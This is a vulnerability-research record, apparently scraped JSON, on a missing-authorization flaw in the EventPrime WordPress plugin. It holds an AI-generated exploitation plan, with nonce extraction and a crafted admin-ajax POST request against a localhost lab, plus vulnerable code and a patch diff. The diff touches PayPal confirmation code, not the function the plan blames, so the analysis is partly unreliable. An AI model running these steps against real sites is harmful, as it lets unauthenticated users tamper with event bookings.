[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fo_BcWqdf-67ZZALcGRv0iLr_exqcuZaXPPEWG4VR_pc":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":30,"research_verified":31,"research_rounds_completed":32,"research_plan":33,"research_summary":34,"research_vulnerable_code":35,"research_fix_diff":36,"research_exploit_outline":37,"research_model_used":38,"research_started_at":39,"research_completed_at":40,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":31,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":31,"source_links":41},"CVE-2026-42669","eventprime-events-calendar-bookings-and-tickets-missing-authorization-3","EventPrime – Events Calendar, Bookings and Tickets \u003C= 4.3.2.0 - Missing Authorization","The EventPrime – Events Calendar, Bookings and Tickets plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on a function in versions up to, and including, 4.3.2.0. This makes it possible for unauthenticated attackers to perform an unauthorized action.","eventprime-event-calendar-management",null,"\u003C=4.3.2.0","4.3.2.1","medium",5.3,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:N\u002FS:U\u002FC:N\u002FI:L\u002FA:N","Missing Authorization","2026-05-12 00:00:00","2026-05-19 13:35:19",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F9ca6f612-a777-4962-848b-2a81bf35ae4c?source=api-prod",8,[22,23,24,25,26,27,28,29],"event-prime.php","includes\u002Fclass-ep-ajax.php","includes\u002Fclass-ep-paypal-service.php","includes\u002Fclass-ep-user-controller.php","includes\u002Fclass-eventprime-functions.php","public\u002Fjs\u002Fep-event-booking.js","public\u002Fjs\u002Fep-user-custom.js","readme.txt","researched",false,3,"# Exploitation Research Plan - CVE-2026-42669\n\n## 1. Vulnerability Summary\nThe **EventPrime – Events Calendar, Bookings and Tickets** plugin for WordPress is vulnerable to **Missing Authorization** in versions up to and including 4.3.2.0. Specifically, the function `cancel_current_booking_process` in `includes\u002Fclass-ep-ajax.php` lacks a capability check (e.g., `current_user_can()`). This function is intended to release seats held during a booking process. Because it is likely registered as a `wp_ajax_nopriv` action (to allow guest users to cancel their sessions), any unauthenticated attacker who obtains a valid nonce can trigger this function to manipulate event seating data, specifically resetting seat statuses in the database.\n\n## 2. Attack Vector Analysis\n- **Endpoint**: `\u002Fwp-admin\u002Fadmin-ajax.php`\n- **Action**: `ep_cancel_current_booking_process` (Inferred from function name `cancel_current_booking_process` and common plugin prefix).\n- **Parameters**:\n    - `action`: `ep_cancel_current_booking_process`\n    - `security`: A nonce associated with the `event-registration-form-nonce` action.\n    - `event_id`: The ID of the target event (post type `em_event`).\n    - `ticket_data`: A JSON-encoded string containing area and seat UID information.\n- **Authentication**: Unauthenticated (if `nopriv` is registered).\n- **Preconditions**: \n    1. The `EventM_Live_Seating_List_Controller` class must exist (typically part of the Live Seating extension).\n    2. The target event must have seating data stored in the `em_seat_data` post meta.\n\n## 3. Code Flow\n1. **Entry Point**: The AJAX handler for `ep_cancel_current_booking_process` is triggered via `admin-ajax.php`.\n2. **Nonce Check**: `includes\u002Fclass-ep-ajax.php:14` calls `wp_verify_nonce( $_POST['security'], 'event-registration-form-nonce' )`.\n3. **Class Check**: Line 19 checks `class_exists( 'EventM_Live_Seating_List_Controller' )`.\n4. **Data Retrieval**: Line 23 retrieves existing seating data: `get_post_meta( $event_id, 'em_seat_data', true )`.\n5. **Modification**: The code iterates through the user-provided `ticket_data` (Line 28). If a matching seat is found and its `type` is `'hold'`, it resets the seat:\n    - `type` becomes `'general'`\n    - `hold_time` becomes `''`\n    - `seatColor` is set to the available color from the plan.\n6. **Sink**: Line 73 calls `update_post_meta( $event_id, 'em_seat_data', maybe_serialize( $event_seat_data ) )`, updating the database with the modified object.\n\n## 4. Nonce Acquisition Strategy\nThe nonce `event-registration-form-nonce` is required. It is typically localized for the frontend booking page when a user views an event with seating enabled.\n\n1. **Identify Localization**: Search the codebase for `event-registration-form-nonce` to find the `wp_localize_script` call. It is likely localized into a global JS object like `ep_event_booking` or `eventprime`.\n2. **Create Target Content**: Create an event and a page containing the booking shortcode if necessary.\n   ```bash\n   wp post create --post_type=em_event --post_title=\"Vulnerable Event\" --post_status=publish\n   ```\n3. **Navigate and Extract**:\n   - Use `browser_navigate` to visit the single event page.\n   - Use `browser_eval` to extract the nonce. Based on common plugin patterns:\n     ```javascript\n     window.ep_event_booking?.security \u002F\u002F Or search for the key associated with 'event-registration-form-nonce'\n     ```\n\n## 5. Exploitation Strategy\n### Step 1: Payload Construction\nThe `ticket_data` parameter must be a JSON array of objects.\nStructure:\n```json\n[\n  {\n    \"seats\": [\n      {\n        \"area_id\": \"1\",\n        \"seat_data\": [\n          { \"uid\": \"0-0\" } \n        ]\n      }\n    ]\n  }\n]\n```\nNote: `uid` format is `row-column` (e.g., `0-0`).\n\n### Step 2: HTTP Request\nSubmit the request via `http_request`.\n\n- **Method**: POST\n- **URL**: `http:\u002F\u002Flocalhost:8080\u002Fwp-admin\u002Fadmin-ajax.php`\n- **Headers**: `Content-Type: application\u002Fx-www-form-urlencoded`\n- **Body**:\n  ```\n  action=ep_cancel_current_booking_process&security=[NONCE]&event_id=[EVENT_ID]&ticket_data=[JSON_PAYLOAD]\n  ```\n\n## 6. Test Data Setup\nTo demonstrate the modification of post meta, we must simulate a \"hold\" status in the database:\n1. **Create Event**: Use WP-CLI to create an `em_event`.\n2. **Set Seating Meta**:\n   ```bash\n   # Create a dummy seating object where seat 0-0 in area 1 is 'hold'\n   # Structure based on class-ep-ajax.php logic\n   php -r '$data = new stdClass(); \n           $data->{\"1\"} = new stdClass(); \n           $data->{\"1\"}->seats = [0 => [0 => (object)[\"col\" => 0, \"type\" => \"hold\", \"hold_time\" => \"123456\", \"seatColor\" => \"#ff0000\"]]];\n           echo serialize($data);' > \u002Ftmp\u002Fseat_meta.txt\n   \n   wp post meta update [EVENT_ID] em_seat_data --file=\u002Ftmp\u002Fseat_meta.txt\n   ```\n3. **Mock Controller Class**: If the \"Live Seating\" extension is not installed, use `wp eval` to define a dummy `EventM_Live_Seating_List_Controller` class so the `class_exists` check passes.\n\n## 7. Expected Results\n- **Response**: The server should return `{\"success\":true,\"data\":true}` (the result of `update_post_meta`).\n- **Data Change**: The `em_seat_data` meta for the event will be updated. Specifically, the seat at `0-0` will change from `type: \"hold\"` to `type: \"general\"`.\n\n## 8. Verification Steps\nAfter the exploit, verify the database state using WP-CLI:\n```bash\nwp post meta get [EVENT_ID] em_seat_data\n```\nThe output should show the seat type as `general` and `hold_time` as an empty string.\n\n## 9. Alternative Approaches\nIf the `ep_cancel_current_booking_process` action name is incorrect, verify the registered AJAX actions using:\n```bash\nwp eval 'global $wp_filter; print_r(array_keys($wp_filter[\"wp_ajax_nopriv_\"] ?? []));'\n```\nLook for actions containing `cancel` or `booking`.\n\nIf the class check `EventM_Live_Seating_List_Controller` cannot be bypassed, the exploit still demonstrates \"Unauthorized Access\" to the function logic, but the response will be `{\"success\":true,\"data\":\"not a seated event\"}`. This still proves the missing capability check.","The EventPrime plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on the cancel_current_booking_process function. This allows unauthenticated attackers to manipulate event seating data, specifically resetting seat statuses from 'hold' to 'available' in the database.","\u002F\u002F includes\u002Fclass-ep-ajax.php:10\n    public function cancel_current_booking_process() {\n        \u002F\u002F Add security checks \n        if( wp_verify_nonce( $_POST['security'], 'event-registration-form-nonce' ) ) {\n            $event_id = absint( $_POST['event_id'] ); \n            $ticket_data = json_decode( stripslashes( $_POST['ticket_data'] ) );\n\n            if ( ! class_exists( 'EventM_Live_Seating_List_Controller' ) ) {\n                wp_send_json_success( 'not a seated event' );\n            }\n\n            $event_seat_data = get_post_meta( $event_id, 'em_seat_data', true );\n            if( ! empty( $event_seat_data ) ) { \n                \u002F\u002F ... (truncated loop logic resetting seat status) ...\n\n               $update =  update_post_meta( $event_id, 'em_seat_data', maybe_serialize( $event_seat_data ) );\n               wp_send_json_success($update);\n\n            } else {\n                wp_send_json_success('not a seated event'); \n            }\n        } else {\n            wp_send_json_error( array( 'message' => esc_html__( 'Security check failed. Please refresh the page and try again later.', 'eventprime-event-seating' ) ) );\n        }\n    }","diff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Feventprime-event-calendar-management\u002F4.3.2.0\u002Fevent-prime.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Feventprime-event-calendar-management\u002F4.3.2.1\u002Fevent-prime.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Feventprime-event-calendar-management\u002F4.3.2.0\u002Fevent-prime.php\t2026-04-03 06:06:20.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Feventprime-event-calendar-management\u002F4.3.2.1\u002Fevent-prime.php\t2026-04-20 09:26:20.000000000 +0000\n@@ -16,7 +16,7 @@\n  * Plugin Name:       EventPrime – Modern Events Calendar, Bookings and Tickets\n  * Plugin URI:        https:\u002F\u002Ftheeventprime.com\n  * Description:       Beginner-friendly Events Calendar plugin to create free as well as paid Events. Includes Event Types, Event Sites & Performers too.\n- * Version:           4.3.2.0\n+ * Version:           4.3.2.1\n  * Author:            EventPrime Event Calendar\n  * Author URI:        https:\u002F\u002Ftheeventprime.com\u002F\n  * License:           GPL-2.0+\n@@ -35,7 +35,7 @@\n  * Start at version 1.0.0 and use SemVer - https:\u002F\u002Fsemver.org\n  * Rename this for your plugin and update it as you release new versions.\n  *\u002F\n-define( 'EVENTPRIME_VERSION', '4.3.2.0' );\n+define( 'EVENTPRIME_VERSION', '4.3.2.1' );\n define('EM_DB_VERSION',4.0);\n if( ! defined( 'EP_PLUGIN_FILE' ) ) {\n     define( 'EP_PLUGIN_FILE', __FILE__ );\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Feventprime-event-calendar-management\u002F4.3.2.0\u002Fincludes\u002Fclass-ep-ajax.php\t2026-04-03 06:06:20.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Feventprime-event-calendar-management\u002F4.3.2.1\u002Fincludes\u002Fclass-ep-ajax.php\t2026-04-20 09:26:20.000000000 +0000\n@@ -545,12 +545,14 @@\n-                $response->item_total     = (float)$data['ep_event_booking_total_tickets'];                \n-                \n-                \u002F\u002F $redirect                 = esc_url( add_query_arg( array( 'order_id' => $new_post_id ), get_permalink( ep_get_global_settings( 'booking_details_page' ) ) ) );\n-                $redirect                 = add_query_arg( array( 'order_id' => $new_post_id ), esc_url( get_permalink( $ep_functions->ep_get_global_settings( 'booking_details_page' ) ) ) );\n-                $response->redirect       = apply_filters( 'ep_booking_redirection_url', $redirect, $new_post_id );\n-                wp_send_json_success( $response );\n+                $response->item_total     = (float)$data['ep_event_booking_total_tickets'];\n+                $response->flush_booking_timer_nonce = wp_create_nonce( 'flush_event_booking_timer_nonce' );\n+                $response->order_key      = get_post_meta( $new_post_id, 'ep_order_key', true );\n+                \n+                \u002F\u002F $redirect                 = esc_url( add_query_arg( array( 'order_id' => $new_post_id ), get_permalink( ep_get_global_settings( 'booking_details_page' ) ) ) );\n+                $redirect                 = add_query_arg( array( 'order_id' => $new_post_id ), esc_url( get_permalink( $ep_functions->ep_get_global_settings( 'booking_details_page' ) ) ) );\n+                $response->redirect       = apply_filters( 'ep_booking_redirection_url', $redirect, $new_post_id );\n+                wp_send_json_success( $response );\n             } else{\n                 wp_send_json_error( array( 'error' => esc_html__( 'Security check failed. Please refresh the page and try again later.', 'eventprime-event-calendar-management' ) ) );\n             }\n@@ -571,55 +573,67 @@\n-    public function paypal_sbpr() {\n-        if ( ! check_ajax_referer( 'flush_event_booking_timer_nonce', 'security', false ) ) {\n-            wp_send_json_error( array( 'error' => esc_html__( 'Security check failed. Please refresh the page and try again later.', 'eventprime-event-calendar-management' ) ) );\n-        }\n-\n-        if ( empty( $_POST ) ) {\n-            wp_send_json_error( array( 'error' => esc_html__( 'Data Not Found', 'eventprime-event-calendar-management' ) ) );\n-        }\n-\n-        $ep_functions  = new Eventprime_Basic_Functions;\n-        $data          = $ep_functions->ep_sanitize_input( $_POST['data'] ?? array() );\n-        if ( ! is_array( $data ) ) {\n-            wp_send_json_error( array( 'error' => esc_html__( 'Invalid payment data.', 'eventprime-event-calendar-management' ) ) );\n-        }\n-        $booking_id    = absint( $_POST['order_id'] ?? 0 );\n-\n-        $payment_amount = $data['purchase_units'][0]['amount']['value'] ?? '';\n-        $paypal_order_id = isset( $data['id'] ) ? sanitize_text_field( $data['id'] ) : ( isset( $data['order_id'] ) ? sanitize_text_field( $data['order_id'] ) : '' );\n-\n-        if ( empty( $booking_id ) || empty( $data ) || $payment_amount === '' ) {\n-            wp_send_json_error( array( 'error' => esc_html__( 'Invalid payment data.', 'eventprime-event-calendar-management' ) ) );\n-        }\n-\n-        $order_info = maybe_unserialize( get_post_meta( $booking_id, 'em_order_info', true ) );\n-        $booking_status = get_post_meta( $booking_id, 'em_status', true );\n-        $booking_user = absint( get_post_meta( $booking_id, 'em_user', true ) );\n-\n-        if ( ! empty( $booking_user ) && get_current_user_id() !== $booking_user ) {\n-            wp_send_json_error( array( 'error' => esc_html__( 'You are not allowed to confirm this booking.', 'eventprime-event-calendar-management' ) ) );\n-        }\n-\n-        if ( empty( $order_info['booking_total'] ) ) {\n-            wp_send_json_error( array( 'error' => esc_html__( 'Payment amount mismatch.', 'eventprime-event-calendar-management' ) ) );\n-        }\n+    public function paypal_sbpr() {\n+        $booking_id    = absint( $_POST['order_id'] ?? 0 );\n+        $request_order_key = isset( $_POST['order_key'] ) ? sanitize_text_field( $_POST['order_key'] ) : '';\n+        $stored_order_key = ! empty( $booking_id ) ? get_post_meta( $booking_id, 'ep_order_key', true ) : '';\n+        $is_valid_nonce = check_ajax_referer( 'flush_event_booking_timer_nonce', 'security', false );\n+        $is_valid_order_key = ( ! empty( $stored_order_key ) && ! empty( $request_order_key ) && hash_equals( (string) $stored_order_key, (string) $request_order_key ) );\n+\n+        if ( empty( $_POST ) ) {\n+            wp_send_json_error( array( 'error' => esc_html__( 'Data Not Found', 'eventprime-event-calendar-management' ) ) );\n+        }\n+\n+        $ep_functions  = new Eventprime_Basic_Functions;\n+        $data          = $ep_functions->ep_sanitize_input( $_POST['data'] ?? array() );\n+        if ( ! is_array( $data ) ) {\n+            wp_send_json_error( array( 'error' => esc_html__( 'Invalid payment data.', 'eventprime-event-calendar-management' ) ) );\n+        }\n+        $payment_amount = $data['purchase_units'][0]['amount']['value'] ?? '';\n+        $paypal_order_id = isset( $data['id'] ) ? sanitize_text_field( $data['id'] ) : ( isset( $data['order_id'] ) ? sanitize_text_field( $data['order_id'] ) : '' );\n+\n+        if ( empty( $booking_id ) || empty( $data ) || $payment_amount === '' ) {\n+            wp_send_json_error( array( 'error' => esc_html__( 'Invalid payment data.', 'eventprime-event-calendar-management' ) ) );\n+        }\n+\n+        $order_info = maybe_unserialize( get_post_meta( $booking_id, 'em_order_info', true ) );\n+        $booking_status = get_post_meta( $booking_id, 'em_status', true );\n+        $booking_user = absint( get_post_meta( $booking_id, 'em_user', true ) );\n+        $stored_random_order_id = sanitize_text_field( (string) get_post_meta( $booking_id, 'em_random_order_id', true ) );\n+\n+        if ( empty( $order_info['booking_total'] ) ) {\n+            wp_send_json_error( array( 'error' => esc_html__( 'Payment amount mismatch.', 'eventprime-event-calendar-management' ) ) );\n+        }\n \n         if ( ! empty( $booking_status ) && strtolower( $booking_status ) === 'completed' ) {\n             wp_send_json_error( array( 'error' => esc_html__( 'Booking already completed.', 'eventprime-event-calendar-management' ) ) );\n         }\n \n-        $verify = $this->verify_paypal_order( $paypal_order_id, $order_info['booking_total'], $ep_functions->ep_get_global_settings( 'currency' ), $booking_id );\n-        if ( is_wp_error( $verify ) ) {\n-            wp_send_json_error( array( 'error' => $verify->get_error_message() ) );\n-        }\n-\n-        $payment_status = strtolower( $verify['status'] );\n-        $payment_amount = $verify['amount'];\n+        $verify = $this->verify_paypal_order( $paypal_order_id, $order_info['booking_total'], $ep_functions->ep_get_global_settings( 'currency' ), $booking_id );\n+        if ( is_wp_error( $verify ) ) {\n+            wp_send_json_error( array( 'error' => $verify->get_error_message() ) );\n+        }\n+\n+        $verified_random_order_id = sanitize_text_field( $verify['custom_id'] ?? '' );\n+        $is_verified_random_order = ( ! empty( $stored_random_order_id ) && ! empty( $verified_random_order_id ) && hash_equals( (string) $stored_random_order_id, (string) $verified_random_order_id ) );\n+\n+        if ( ! empty( $stored_random_order_id ) && ! $is_verified_random_order ) {\n+            wp_send_json_error( array( 'error' => esc_html__( 'You are not allowed to confirm this booking.', 'eventprime-event-calendar-management' ) ) );\n+        }\n+\n+        if ( ! empty( $booking_user ) && get_current_user_id() !== $booking_user && ! $is_valid_order_key && ! $is_verified_random_order ) {\n+            wp_send_json_error( array( 'error' => esc_html__( 'You are not allowed to confirm this booking.', 'eventprime-event-calendar-management' ) ) );\n+        }\n+\n+        if ( ! $is_valid_nonce && ! $is_valid_order_key && ! $is_verified_random_order ) {\n+            wp_send_json_error( array( 'error' => esc_html__( 'Security check failed. Please refresh the page and try again later.', 'eventprime-event-calendar-management' ) ) );\n+        }\n+\n+        $payment_status = strtolower( $verify['status'] );\n+        $payment_amount = $verify['amount'];","The exploit targets the `\u002Fwp-admin\u002Fadmin-ajax.php` endpoint using the `ep_cancel_current_booking_process` action. An unauthenticated attacker first obtains a valid `event-registration-form-nonce` from an event booking page. They then send a POST request containing the nonce, a target `event_id`, and a JSON-encoded `ticket_data` object specifying seat UIDs (e.g., \"0-0\") and areas. Because the AJAX handler only verifies the nonce and fails to perform any capability checks (e.g., `current_user_can()`), the server proceeds to update the `em_seat_data` post meta in the database, effectively releasing seat holds or resetting seating configuration for any event.","gemini-3-flash-preview","2026-05-20 18:23:14","2026-05-20 18:23:51",{"type":42,"vulnerable_version":43,"fixed_version":11,"vulnerable_browse":44,"vulnerable_zip":45,"fixed_browse":46,"fixed_zip":47,"all_tags":48},"plugin","4.3.2.0","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Feventprime-event-calendar-management\u002Ftags\u002F4.3.2.0","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Feventprime-event-calendar-management.4.3.2.0.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Feventprime-event-calendar-management\u002Ftags\u002F4.3.2.1","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Feventprime-event-calendar-management.4.3.2.1.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Feventprime-event-calendar-management\u002Ftags"]